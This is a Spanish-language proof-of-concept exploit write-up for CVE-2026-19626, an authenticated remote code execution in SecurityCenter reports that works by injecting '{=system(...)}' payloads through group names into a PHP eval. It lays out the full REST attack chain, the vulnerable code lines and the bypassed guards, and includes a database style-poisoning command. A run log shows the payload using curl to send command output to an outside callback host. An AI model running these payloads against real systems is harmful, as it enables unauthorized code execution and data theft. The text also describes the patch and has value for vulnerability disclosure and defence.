
Exploit de prueba de concepto para CVE-2026-19626, una ejecución remota de código autenticada en la generación de informes de SecurityCenter, que demuestra una cadena sin privilegios de administrador mediante inyección de nombres de grupo y eval de PHP.

Estado: CONFIRMADO — totalmente remoto, no administrador, solo REST (laboratorio 6.7.2-14.el9, 2026-08-21).
La cadena armada (esto es lo que hace poc.py):
POST /rest/group con name: "{=system('<cmd>')}" — llaves/comillas aceptadas
tal cual (el controlador de grupos no tiene comprobación de charset)POST /rest/reportDefinition — informe PDF, un componente pieChart,
consulta user/sumgroup, labelColumns: groupIDPOST /rest/reportDefinition/{id}/launchsubstituteParams() sustituye el marcador de posición {label} por el
nombre del grupo ANTES de que se ejecute el bucle eval {=...} — la carga útil cae dentro de la
cadena de formato y eval("$expr = system('<cmd>');") se ejecuta como tnssystem() se sustituye de nuevo en la etiqueta — la
salida del comando se renderiza en la leyenda del gráfico circular del informe finalizado (el canal de exfiltración)El marcador /tmp/pwn_label se crea con esta cadena exacta (sin acceso a la BD, sin escritura
de estilos, sin subida de archivos). Nótese que el grupo de cero miembros sigue produciendo
un sector — la agregación sumgroup lo incluye.
Además, se confirmó mediante invocación directa y envenenamiento de estilo en toda la
canalización (ver historial a continuación): el sumidero eval está activo en la substituteParams()
incluida, y un atributo de estilo legendFormat predeterminado envenenado se activa en CUALQUIER
renderizado de gráfico circular, incluidos los informes que no son propiedad del administrador.
Advertencia de entrega (por qué el PoC puramente REST se detiene): el objeto style en línea de la definición del informe — donde el PoC inserta legendFormat/labelFormat — se almacena textualmente en xmlDefinition pero se descarta en el renderizado: getReport(CONTEXT_RENDER) rehidrata los componentes desde las tablas normalizadas y sobrescribe $component['style'] con StyleLib::getComponentStyle() (recuperado mediante styleID). El controlador de importación de estilos existe (Styles::add, analiza un archivo XML subido mediante xmlToStyles, con la comprobación de solo administrador comentada) pero no se expone ninguna ruta hacia él — 12 combinaciones verbo/ruta (style, styles, style::add, style/import × POST/PUT/PATCH, con un nombre de archivo preparado válido) devuelven el error 10, y el bundle de la interfaz contiene cero llamadas a endpoints de estilo. Por lo tanto, la entrega puramente remota requiere una vía de escritura de estilos que 6.7.2 no expone; la cadena renderizada se demostró directamente mediante el atributo de estilo.
/opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 y anteriores):
eval("\$expr = {$exprs[1]};") en substituteParams(). Las cadenas
de formato de leyenda/etiqueta del gráfico circular ($style['legendFormat'] / $style['labelFormat'],
líneas 4952/4983) admiten marcadores de posición {=<arithmetic>}, p. ej. el predeterminado
integrado {={sector}+1}. El cuerpo de la expresión es contenido de la definición del informe
proporcionado por el usuario → PHP arbitrario.eval("\$sectorLabels->setBackground($labelStyle);") con
labelStyling del estilo del gráfico. La salvaguarda de 6.8.0 era
if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — rechaza solo ;;
system('cmd') pasa.if (is_callable($matches['name'])) sobre especificaciones de forma de barra como
circleShape(10). system(id) atraviesa la puerta. El comentario del parche 6.9.0 lo afirma
directamente: "is_callable() NO es una puerta segura (is_callable("system") === true)".Cualquier usuario de la organización con derechos de definición de informes llega a los tres en el
momento del renderizado (generateReport.php / Jobd). ReportDefinitions::launch() rechaza ROLE_ADMIN —
la clase de bug es explícitamente no administrador.
La salida del comando se sustituye de nuevo en el texto de la etiqueta, por lo que el informe renderizado es el canal de exfiltración.
Se eliminó eval(); las expresiones {=...} se restringen a
/^[0-9.\s()+\-*\/]+/ y se evalúan mediante un tokenizador; resolveLabelStyleArgs() analiza
el estilo de etiqueta en una lista de argumentos; isAllowedBarShapeFunction() es una lista blanca con
parámetros solo numéricos.
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
Inyección en la etiqueta del nombre de grupo (la cadena remota anterior): crea el grupo con el nombre
de la carga útil, construye el informe sumgroup, lo lanza y sondea el resultado renderizado — la salida
del comando aparece en la leyenda del gráfico circular del informe finalizado. Restricción de la carga
útil: sin caracteres } (la regex {=...} no es codiciosa hasta la primera llave); la salida del comando
viaja en la sustitución de la etiqueta, así que léela del informe o verifícala mediante marcador/temporización.
style.legendFormat/labelFormat en línea de la definición se almacena textualmente en
xmlDefinition pero se descarta en el renderizado — los componentes rehidratan los estilos desde
las tablas de estilos mediante styleID (el contexto de renderizado de ReportDefinitionLib sobrescribe
$component['style'] con StyleLib::getComponentStyle()).Styles::add, comprobación de administrador comentada,
analiza un XML subido mediante xmlToStyles) pero no hay ninguna ruta conectada — 12
combinaciones verbo/ruta (incluido el sub-recurso /rest/style/{id}) devuelven el error 10 en todos los casos,
y el bundle de la interfaz contiene cero llamadas a endpoints de estilo.{label} precede al
bucle eval, por lo que CUALQUIER etiqueta influenciada por el atacante (el nombre de grupo aquí; los campos
de perfil de usuario y los nombres de host de activos escaneados tienen la misma forma) transporta la carga útil.# direct sink (on-box)
/opt/sc/support/bin/php /tmp/t.php # requires defines+phpchartdir+ReportChartingLib
# style poison (root) + any report launch
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
"UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
WHERE attribute='legendFormat' AND styleID IN (19,20)"
# restore: DELETE those attribute rows (falls back to built-in defaults)
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
[+] report launched — chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0